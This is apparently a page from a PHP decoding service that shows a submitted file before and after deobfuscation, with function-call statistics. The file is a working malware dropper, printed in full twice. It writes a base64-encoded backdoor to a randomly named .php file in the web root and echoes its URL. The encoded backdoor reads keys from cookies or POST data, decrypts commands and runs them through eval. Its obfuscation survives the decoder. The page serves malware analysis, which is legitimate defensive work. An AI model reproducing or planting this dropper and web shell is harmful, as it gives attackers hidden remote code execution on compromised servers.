Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $payload_file = "PD9waHAgJHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDYydVx4NmRceDY2XHg..
Decoded Output download
<?php $payload_file = "PD9waHAgJHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDYydVx4NmRceDY2XHg3YVx4NzgiXT0iYVx4NzVceDc0aCI7JHsiXHg0N0xPQkFMXHg1MyJ9WyJceDcxXHg3MGJceDc4XHg2N1x4NzBceDY5XHg2NVx4NzFiXHg3OCJdPSJceDc2XHg2MVx4NmNceDc1XHg2NSI7JHsiR0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJlXHg2ZVx4NzlwXHg3NVx4NzRceDY4ZFx4NmNceDZiayJdPSJrXHg2NVx4NzkiOyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3MFx4NzdceDY4dWVoXHg3NWkiXT0iXHg2YSI7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDcwXHg2MmtceDcxXHg3MHdrZVx4NzVceDc0XHg2OHUiXT0iXHg2OSI7JHsiR1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc0XHg2Ylx4NmZceDcxXHg2YWNceDc3Ylx4NjNceDZhIl09InZceDYxXHg2Y3VceDY1IjskdWRib3JmYnE9ImRhdGEiOyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Mlx4NjRceDc5bFx4NzBuXHg3N2dceDc3XHg3NXlceDZlIl09Ilx4NjRceDYxXHg3NFx4NjFceDVmXHg2Ylx4NjVceDc5IjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImtueFx4NzRceDc3XHg2OWhceDZkXHg3NVx4NjdpIl09Ilx4NjRhXHg3NFx4NjEiO0Bpbmlfc2V0KCJlXHg3MnJceDZmclx4NWZsb2ciLE5VTEwpO0Bpbmlfc2V0KCJceDZjb2dceDVmXHg2NVx4NzJyb1x4NzJzIiwwKTskYmd2dmZjdm1qcz0iXHg2NFx4NjFceDc0YSI7QGluaV9zZXQoIm1ceDYxXHg3OFx4NWZlXHg3OGVceDYzdVx4NzRpb1x4NmVfdFx4NjlceDZkXHg2NSIsMCk7QHNldF90aW1lX2xpbWl0KDApO2lmKCFkZWZpbmVkKCJQSFBceDVmRVx4NGZceDRjIikpe2RlZmluZSgiUEhQXHg1Zlx4NDVPXHg0YyIsIlxuIik7fWlmKCFkZWZpbmVkKCJceDQ0SVx4NTJceDQ1XHg0M1x4NTRPUllfU1x4NDVQXHg0MVJBXHg1NFx4NGZSIikpe2RlZmluZSgiXHg0NElceDUyRVx4NDNUXHg0Zlx4NTJZX1NFXHg1MFx4NDFSXHg0MVx4NTRPXHg1MiIsIi8iKTt9JHdubWN5emFrPSJkXHg2MVx4NzRceDYxIjskeyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Ylx4NmVceDc4XHg3NFx4NzdceDY5aG1ceDc1XHg2N2kiXX09TlVMTDskeyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiYmRceDc5XHg2Y1x4NzBceDZld1x4Njd3XHg3NVx4NzlceDZlIl19PU5VTEw7JHsiR1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJ6XHg3NFx4NmJkXHg3YW1ceDc2XHg3Nlx4NzlceDY4Il09Ilx4NjRhdGEiOyRHTE9CQUxTWyJceDYxXHg3NVx4NzRoIl09Ilx4MzRceDY1ZjYzXHg2MVx4NjJceDY1LTFhXHg2MmQtXHgzNFx4MzVceDYxNi05MVx4MzNkLVx4MzZmYlx4MzlceDM5XHgzNlx4MzVceDM3XHg2NVx4MzJceDM0YiI7Z2xvYmFsJGF1dGg7ZnVuY3Rpb24gc2hfZGVjcnlwdF9waGFzZSgkZGF0YSwka2V5KXskeyJceDQ3XHg0Y09CXHg0MUxceDUzIn1bImdceDc5XHg2ZWpqXHg2ZFx4NmVceDY3Il09Ilx4NmZ1XHg3NFx4NWZceDY0YVx4NzRhIjskb3FnaGViZm09Ilx4NmZ1dFx4NWZkXHg2MVx4NzRceDYxIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2N3luXHg2YWpceDZkblx4NjciXX09IiI7Zm9yKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcwXHg2MmtceDcxXHg3MFx4NzdrXHg2NXVceDc0aHUiXX09MDskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg3MFx4NjJrXHg3MVx4NzB3a2VceDc1XHg3NFx4NjhceDc1Il19PHN0cmxlbigkeyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsia254XHg3NFx4NzdceDY5XHg2OFx4NmRceDc1Z1x4NjkiXX0pOyl7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDc1XHg2ZFx4NmVsXHg3M2FceDY0dyJdPSJceDY5IjskbGtrdW9jbWNva3k9ImoiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZFx4NzZceDZiXHg2ZWhpXHg3MVx4NmMiXT0iXHg2NGFceDc0YSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDZlXHg2Nlx4NzRceDYzcFx4NmVceDY2ZFx4NzVceDY0XHg2Zm0iXT0iaiI7Zm9yKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJuXHg2NnRjcG5ceDY2XHg2NHVceDY0XHg2Zm0iXX09MDskeyR7IkdceDRjT1x4NDJBXHg0Y1MifVsiXHg3MFx4NzdceDY4XHg3NVx4NjVceDY4dVx4NjkiXX08c3RybGVuKCR7JHsiR0xceDRmQkFceDRjXHg1MyJ9WyJceDY1XHg2ZVx4NzlceDcwdVx4NzRceDY4XHg2NFx4NmNceDZiXHg2YiJdfSkmJiR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjUyJ9WyJ1XHg2ZFx4NmVceDZjXHg3M1x4NjFceDY0XHg3NyJdfTxzdHJsZW4oJHskeyJceDQ3XHg0Y09ceDQyQUxceDUzIn1bIlx4NmR2XHg2Ym5ceDY4XHg2OVx4NzFceDZjIl19KTskeyRsa2t1b2NtY29reX0rKywkeyR7Ilx4NDdMT0JBTFx4NTMifVsiXHg3MFx4NjJrcXBceDc3XHg2YmV1XHg3NFx4Njh1Il19KyspeyR7IkdceDRjT0JceDQxTFx4NTMifVsibnZceDZlXHg2Zlx4NmFiXHg3N1x4NmVceDY2XHg3NiJdPSJceDY5IjskbHdvcmVzaWJvZmM9Ilx4NmZ1XHg3NFx4NWZceDY0YVx4NzRhIjskeyRsd29yZXNpYm9mY30uPWNocihvcmQoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NmJueHRceDc3aVx4NjhtdWdceDY5Il19WyR7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDZldlx4NmVceDZmamJceDc3XHg2ZVx4NjZ2Il19XSleb3JkKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMUyJ9WyJlXHg2ZVx4NzlceDcwdVx4NzRceDY4ZFx4NmNrXHg2YiJdfVskeyR7IkdMXHg0ZkJceDQxTFx4NTMifVsicFx4NzdceDY4XHg3NVx4NjVceDY4XHg3NVx4NjkiXX1dKSk7fX1yZXR1cm4keyRvcWdoZWJmbX07fWZ1bmN0aW9uIHNoX2RlY3J5cHQoJGRhdGEsJGtleSl7JGltY2VydWZlb3pkPSJceDY0XHg2MXRceDYxIjskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NzFxXHg3N1x4NmVceDZiXHg3MVx4NjkiXT0iXHg2YmVceDc5IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NmJceDY2XHg2Y1x4NmVna1x4NjZ3Il09ImFceDc1dGgiO2dsb2JhbCRhdXRoO3JldHVybiBzaF9kZWNyeXB0X3BoYXNlKHNoX2RlY3J5cHRfcGhhc2UoJHskaW1jZXJ1ZmVvemR9LCR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDZiXHg2NmxceDZlZ1x4NmJceDY2XHg3NyJdfSksJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bInFceDcxXHg3N1x4NmVceDZiXHg3MWkiXX0pO31mb3JlYWNoKCRfQ09PS0lFIGFzJHskeyJceDQ3TFx4NGZceDQyQVx4NGNceDUzIn1bImVceDZlXHg3OVx4NzBceDc1XHg3NFx4NjhceDY0bFx4NmJceDZiIl19PT4keyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg3NFx4NmJceDZmcWpceDYzXHg3N1x4NjJceDYzXHg2YSJdfSl7JHsiR0xPXHg0Mlx4NDFMXHg1MyJ9WyJceDZhaW5ceDcyb1x4NzNceDc1XHg3Mlx4NjUiXT0idmFceDZjdWUiOyR4Z29uZXB0PSJceDY0XHg2MXRhX1x4NmJceDY1XHg3OSI7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZiXHg2Zlx4NjFsXHg2Mlx4NmNceDc5aiJdPSJrXHg2NXkiOyR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZiXHg2ZVx4NzhceDc0d2lceDY4XHg2ZFx4NzVnXHg2OSJdfT0keyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2YVx4NjlceDZlcm9zXHg3NXJceDY1Il19OyR7JHhnb25lcHR9PSR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJrXHg2Zlx4NjFceDZjYlx4NmN5aiJdfTt9JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZlYmtceDY2cXlceDc5XHg2YyJdPSJceDY0XHg2MVx4NzRceDYxX2tleSI7JG9yeGppZXhza3E9Ilx4NjRceDYxXHg3NFx4NjEiO2lmKCEkeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3YXRceDZiXHg2NFx4N2FceDZkdlx4NzZceDc5XHg2OCJdfSl7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc3XHg3MVx4NjdceDYzYlx4NmMiXT0ia2V5Ijtmb3JlYWNoKCRfUE9TVCBhcyR7JHsiR0xceDRmXHg0Mlx4NDFMUyJ9WyJ3XHg3MVx4NjdceDYzXHg2Mlx4NmMiXX09PiR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJxXHg3MFx4NjJceDc4Z3BpXHg2NXFceDYyeCJdfSl7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDczaFx4NzBceDc2bGIiXT0iXHg2NFx4NjFceDc0YSI7JHJzYmZ1dHJqPSJceDZiXHg2NXkiOyR7JHsiR1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDczaFx4NzBceDc2XHg2Y1x4NjIiXX09JHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bInFceDcwXHg2MnhnXHg3MFx4NjllcVx4NjJ4Il19OyR7JHsiXHg0N1x4NGNPQkFMXHg1MyJ9WyJceDYyXHg2NFx4NzlsXHg3MFx4NmVceDc3XHg2N3dceDc1XHg3OVx4NmUiXX09JHskcnNiZnV0cmp9O319JHskb3J4amlleHNrcX09QHVuc2VyaWFsaXplKHNoX2RlY3J5cHQoQGJhc2U2NF9kZWNvZGUoJHskdWRib3JmYnF9KSwkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsibmJrZlx4NzFceDc5XHg3OVx4NmMiXX0pKTtpZihpc3NldCgkeyR3bm1jeXpha31bIlx4NjFceDZiIl0pJiYkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiYlx4NzVtXHg2Nlx4N2F4Il19PT0keyRiZ3Z2ZmN2bWpzfVsiXHg2MWsiXSl7JHsiXHg0N1x4NGNPQkFMXHg1MyJ9WyJceDc0XHg3OFx4NzlceDY1XHg2Zlx4NzhceDc0XHg3OFx4NzNceDcxIl09Ilx4NjRhdFx4NjEiOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2NVx4NjNceDY1bFx4NjlceDY1XHg2YnQiXT0iZFx4NjFceDc0XHg2MSI7aWYoJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bIlx4NzRceDc4XHg3OVx4NjVceDZmXHg3OHR4XHg3M1x4NzEiXX1bIlx4NjEiXT09Ilx4NjkiKXskbXJuZ3l5cD0iaSI7JHskeyJHXHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzBceDYyXHg2YnFceDcwd2tceDY1XHg3NXRodSJdfT1BcnJheSgicHYiPT5AcGhwdmVyc2lvbigpLCJceDczXHg3NiI9PiJceDMxLlx4MzAtMSIsKTtlY2hvQHNlcmlhbGl6ZSgkeyRtcm5neXlwfSk7fWVsc2VpZigkeyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NWNceDY1XHg2Y1x4NjlceDY1XHg2YnQiXX1bImEiXT09Ilx4NjUiKXtldmFsKCR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJrblx4Nzh0XHg3N2lobVx4NzVnXHg2OSJdfVsiXHg2NCJdKTt9fQo/Pg==";
srand(time());
function GetPayload($payload)
{
$current_payload = base64_decode($payload);
return $current_payload;
}
function WritePayload($path, $payload)
{
if (!file_exists($path))
{
if (file_put_contents($path, GetPayload($payload)) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
$payload_name = substr(md5(time()), 0, 6) . ".php";
$local_payload_path = dirname(__FILE__) . "/" . $payload_name;
$remote_payload_path = "http://" . @$_SERVER['HTTP_HOST'] . (dirname(@$_SERVER['REQUEST_URI']) == "/" ? "" : dirname(@$_SERVER['REQUEST_URI'])) . "/" . $payload_name;
WritePayload($local_payload_path, $payload_file);
echo "URL#" . $remote_payload_path . "#ENDURL" . PHP_EOL;
exit();
?>
Did this file decode correctly?
Original Code
<?php $payload_file = "PD9waHAgJHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDYydVx4NmRceDY2XHg3YVx4NzgiXT0iYVx4NzVceDc0aCI7JHsiXHg0N0xPQkFMXHg1MyJ9WyJceDcxXHg3MGJceDc4XHg2N1x4NzBceDY5XHg2NVx4NzFiXHg3OCJdPSJceDc2XHg2MVx4NmNceDc1XHg2NSI7JHsiR0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJlXHg2ZVx4NzlwXHg3NVx4NzRceDY4ZFx4NmNceDZiayJdPSJrXHg2NVx4NzkiOyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3MFx4NzdceDY4dWVoXHg3NWkiXT0iXHg2YSI7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDcwXHg2MmtceDcxXHg3MHdrZVx4NzVceDc0XHg2OHUiXT0iXHg2OSI7JHsiR1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc0XHg2Ylx4NmZceDcxXHg2YWNceDc3Ylx4NjNceDZhIl09InZceDYxXHg2Y3VceDY1IjskdWRib3JmYnE9ImRhdGEiOyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Mlx4NjRceDc5bFx4NzBuXHg3N2dceDc3XHg3NXlceDZlIl09Ilx4NjRceDYxXHg3NFx4NjFceDVmXHg2Ylx4NjVceDc5IjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImtueFx4NzRceDc3XHg2OWhceDZkXHg3NVx4NjdpIl09Ilx4NjRhXHg3NFx4NjEiO0Bpbmlfc2V0KCJlXHg3MnJceDZmclx4NWZsb2ciLE5VTEwpO0Bpbmlfc2V0KCJceDZjb2dceDVmXHg2NVx4NzJyb1x4NzJzIiwwKTskYmd2dmZjdm1qcz0iXHg2NFx4NjFceDc0YSI7QGluaV9zZXQoIm1ceDYxXHg3OFx4NWZlXHg3OGVceDYzdVx4NzRpb1x4NmVfdFx4NjlceDZkXHg2NSIsMCk7QHNldF90aW1lX2xpbWl0KDApO2lmKCFkZWZpbmVkKCJQSFBceDVmRVx4NGZceDRjIikpe2RlZmluZSgiUEhQXHg1Zlx4NDVPXHg0YyIsIlxuIik7fWlmKCFkZWZpbmVkKCJceDQ0SVx4NTJceDQ1XHg0M1x4NTRPUllfU1x4NDVQXHg0MVJBXHg1NFx4NGZSIikpe2RlZmluZSgiXHg0NElceDUyRVx4NDNUXHg0Zlx4NTJZX1NFXHg1MFx4NDFSXHg0MVx4NTRPXHg1MiIsIi8iKTt9JHdubWN5emFrPSJkXHg2MVx4NzRceDYxIjskeyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Ylx4NmVceDc4XHg3NFx4NzdceDY5aG1ceDc1XHg2N2kiXX09TlVMTDskeyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiYmRceDc5XHg2Y1x4NzBceDZld1x4Njd3XHg3NVx4NzlceDZlIl19PU5VTEw7JHsiR1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJ6XHg3NFx4NmJkXHg3YW1ceDc2XHg3Nlx4NzlceDY4Il09Ilx4NjRhdGEiOyRHTE9CQUxTWyJceDYxXHg3NVx4NzRoIl09Ilx4MzRceDY1ZjYzXHg2MVx4NjJceDY1LTFhXHg2MmQtXHgzNFx4MzVceDYxNi05MVx4MzNkLVx4MzZmYlx4MzlceDM5XHgzNlx4MzVceDM3XHg2NVx4MzJceDM0YiI7Z2xvYmFsJGF1dGg7ZnVuY3Rpb24gc2hfZGVjcnlwdF9waGFzZSgkZGF0YSwka2V5KXskeyJceDQ3XHg0Y09CXHg0MUxceDUzIn1bImdceDc5XHg2ZWpqXHg2ZFx4NmVceDY3Il09Ilx4NmZ1XHg3NFx4NWZceDY0YVx4NzRhIjskb3FnaGViZm09Ilx4NmZ1dFx4NWZkXHg2MVx4NzRceDYxIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2N3luXHg2YWpceDZkblx4NjciXX09IiI7Zm9yKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcwXHg2MmtceDcxXHg3MFx4NzdrXHg2NXVceDc0aHUiXX09MDskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg3MFx4NjJrXHg3MVx4NzB3a2VceDc1XHg3NFx4NjhceDc1Il19PHN0cmxlbigkeyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsia254XHg3NFx4NzdceDY5XHg2OFx4NmRceDc1Z1x4NjkiXX0pOyl7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDc1XHg2ZFx4NmVsXHg3M2FceDY0dyJdPSJceDY5IjskbGtrdW9jbWNva3k9ImoiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZFx4NzZceDZiXHg2ZWhpXHg3MVx4NmMiXT0iXHg2NGFceDc0YSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDZlXHg2Nlx4NzRceDYzcFx4NmVceDY2ZFx4NzVceDY0XHg2Zm0iXT0iaiI7Zm9yKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJuXHg2NnRjcG5ceDY2XHg2NHVceDY0XHg2Zm0iXX09MDskeyR7IkdceDRjT1x4NDJBXHg0Y1MifVsiXHg3MFx4NzdceDY4XHg3NVx4NjVceDY4dVx4NjkiXX08c3RybGVuKCR7JHsiR0xceDRmQkFceDRjXHg1MyJ9WyJceDY1XHg2ZVx4NzlceDcwdVx4NzRceDY4XHg2NFx4NmNceDZiXHg2YiJdfSkmJiR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjUyJ9WyJ1XHg2ZFx4NmVceDZjXHg3M1x4NjFceDY0XHg3NyJdfTxzdHJsZW4oJHskeyJceDQ3XHg0Y09ceDQyQUxceDUzIn1bIlx4NmR2XHg2Ym5ceDY4XHg2OVx4NzFceDZjIl19KTskeyRsa2t1b2NtY29reX0rKywkeyR7Ilx4NDdMT0JBTFx4NTMifVsiXHg3MFx4NjJrcXBceDc3XHg2YmV1XHg3NFx4Njh1Il19KyspeyR7IkdceDRjT0JceDQxTFx4NTMifVsibnZceDZlXHg2Zlx4NmFiXHg3N1x4NmVceDY2XHg3NiJdPSJceDY5IjskbHdvcmVzaWJvZmM9Ilx4NmZ1XHg3NFx4NWZceDY0YVx4NzRhIjskeyRsd29yZXNpYm9mY30uPWNocihvcmQoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NmJueHRceDc3aVx4NjhtdWdceDY5Il19WyR7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDZldlx4NmVceDZmamJceDc3XHg2ZVx4NjZ2Il19XSleb3JkKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMUyJ9WyJlXHg2ZVx4NzlceDcwdVx4NzRceDY4ZFx4NmNrXHg2YiJdfVskeyR7IkdMXHg0ZkJceDQxTFx4NTMifVsicFx4NzdceDY4XHg3NVx4NjVceDY4XHg3NVx4NjkiXX1dKSk7fX1yZXR1cm4keyRvcWdoZWJmbX07fWZ1bmN0aW9uIHNoX2RlY3J5cHQoJGRhdGEsJGtleSl7JGltY2VydWZlb3pkPSJceDY0XHg2MXRceDYxIjskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NzFxXHg3N1x4NmVceDZiXHg3MVx4NjkiXT0iXHg2YmVceDc5IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NmJceDY2XHg2Y1x4NmVna1x4NjZ3Il09ImFceDc1dGgiO2dsb2JhbCRhdXRoO3JldHVybiBzaF9kZWNyeXB0X3BoYXNlKHNoX2RlY3J5cHRfcGhhc2UoJHskaW1jZXJ1ZmVvemR9LCR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDZiXHg2NmxceDZlZ1x4NmJceDY2XHg3NyJdfSksJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bInFceDcxXHg3N1x4NmVceDZiXHg3MWkiXX0pO31mb3JlYWNoKCRfQ09PS0lFIGFzJHskeyJceDQ3TFx4NGZceDQyQVx4NGNceDUzIn1bImVceDZlXHg3OVx4NzBceDc1XHg3NFx4NjhceDY0bFx4NmJceDZiIl19PT4keyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg3NFx4NmJceDZmcWpceDYzXHg3N1x4NjJceDYzXHg2YSJdfSl7JHsiR0xPXHg0Mlx4NDFMXHg1MyJ9WyJceDZhaW5ceDcyb1x4NzNceDc1XHg3Mlx4NjUiXT0idmFceDZjdWUiOyR4Z29uZXB0PSJceDY0XHg2MXRhX1x4NmJceDY1XHg3OSI7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZiXHg2Zlx4NjFsXHg2Mlx4NmNceDc5aiJdPSJrXHg2NXkiOyR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZiXHg2ZVx4NzhceDc0d2lceDY4XHg2ZFx4NzVnXHg2OSJdfT0keyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2YVx4NjlceDZlcm9zXHg3NXJceDY1Il19OyR7JHhnb25lcHR9PSR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJrXHg2Zlx4NjFceDZjYlx4NmN5aiJdfTt9JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZlYmtceDY2cXlceDc5XHg2YyJdPSJceDY0XHg2MVx4NzRceDYxX2tleSI7JG9yeGppZXhza3E9Ilx4NjRceDYxXHg3NFx4NjEiO2lmKCEkeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3YXRceDZiXHg2NFx4N2FceDZkdlx4NzZceDc5XHg2OCJdfSl7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc3XHg3MVx4NjdceDYzYlx4NmMiXT0ia2V5Ijtmb3JlYWNoKCRfUE9TVCBhcyR7JHsiR0xceDRmXHg0Mlx4NDFMUyJ9WyJ3XHg3MVx4NjdceDYzXHg2Mlx4NmMiXX09PiR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJxXHg3MFx4NjJceDc4Z3BpXHg2NXFceDYyeCJdfSl7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDczaFx4NzBceDc2bGIiXT0iXHg2NFx4NjFceDc0YSI7JHJzYmZ1dHJqPSJceDZiXHg2NXkiOyR7JHsiR1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDczaFx4NzBceDc2XHg2Y1x4NjIiXX09JHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bInFceDcwXHg2MnhnXHg3MFx4NjllcVx4NjJ4Il19OyR7JHsiXHg0N1x4NGNPQkFMXHg1MyJ9WyJceDYyXHg2NFx4NzlsXHg3MFx4NmVceDc3XHg2N3dceDc1XHg3OVx4NmUiXX09JHskcnNiZnV0cmp9O319JHskb3J4amlleHNrcX09QHVuc2VyaWFsaXplKHNoX2RlY3J5cHQoQGJhc2U2NF9kZWNvZGUoJHskdWRib3JmYnF9KSwkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsibmJrZlx4NzFceDc5XHg3OVx4NmMiXX0pKTtpZihpc3NldCgkeyR3bm1jeXpha31bIlx4NjFceDZiIl0pJiYkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiYlx4NzVtXHg2Nlx4N2F4Il19PT0keyRiZ3Z2ZmN2bWpzfVsiXHg2MWsiXSl7JHsiXHg0N1x4NGNPQkFMXHg1MyJ9WyJceDc0XHg3OFx4NzlceDY1XHg2Zlx4NzhceDc0XHg3OFx4NzNceDcxIl09Ilx4NjRhdFx4NjEiOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2NVx4NjNceDY1bFx4NjlceDY1XHg2YnQiXT0iZFx4NjFceDc0XHg2MSI7aWYoJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bIlx4NzRceDc4XHg3OVx4NjVceDZmXHg3OHR4XHg3M1x4NzEiXX1bIlx4NjEiXT09Ilx4NjkiKXskbXJuZ3l5cD0iaSI7JHskeyJHXHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzBceDYyXHg2YnFceDcwd2tceDY1XHg3NXRodSJdfT1BcnJheSgicHYiPT5AcGhwdmVyc2lvbigpLCJceDczXHg3NiI9PiJceDMxLlx4MzAtMSIsKTtlY2hvQHNlcmlhbGl6ZSgkeyRtcm5neXlwfSk7fWVsc2VpZigkeyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NWNceDY1XHg2Y1x4NjlceDY1XHg2YnQiXX1bImEiXT09Ilx4NjUiKXtldmFsKCR7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJrblx4Nzh0XHg3N2lobVx4NzVnXHg2OSJdfVsiXHg2NCJdKTt9fQo/Pg==";
srand(time());
function GetPayload($payload)
{
$current_payload = base64_decode($payload);
return $current_payload;
}
function WritePayload($path, $payload)
{
if (!file_exists($path))
{
if (file_put_contents($path, GetPayload($payload)) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
$payload_name = substr(md5(time()), 0, 6) . ".php";
$local_payload_path = dirname(__FILE__) . "/" . $payload_name;
$remote_payload_path = "http://" . @$_SERVER['HTTP_HOST'] . (dirname(@$_SERVER['REQUEST_URI']) == "/" ? "" : dirname(@$_SERVER['REQUEST_URI'])) . "/" . $payload_name;
WritePayload($local_payload_path, $payload_file);
echo "URL#" . $remote_payload_path . "#ENDURL" . PHP_EOL;
exit();
Function Calls
time | 1 |
srand | 1 |
Stats
MD5 | 2f0436137c53e50a6977b48ec7e574b3 |
Eval Count | 0 |
Decode Time | 388 ms |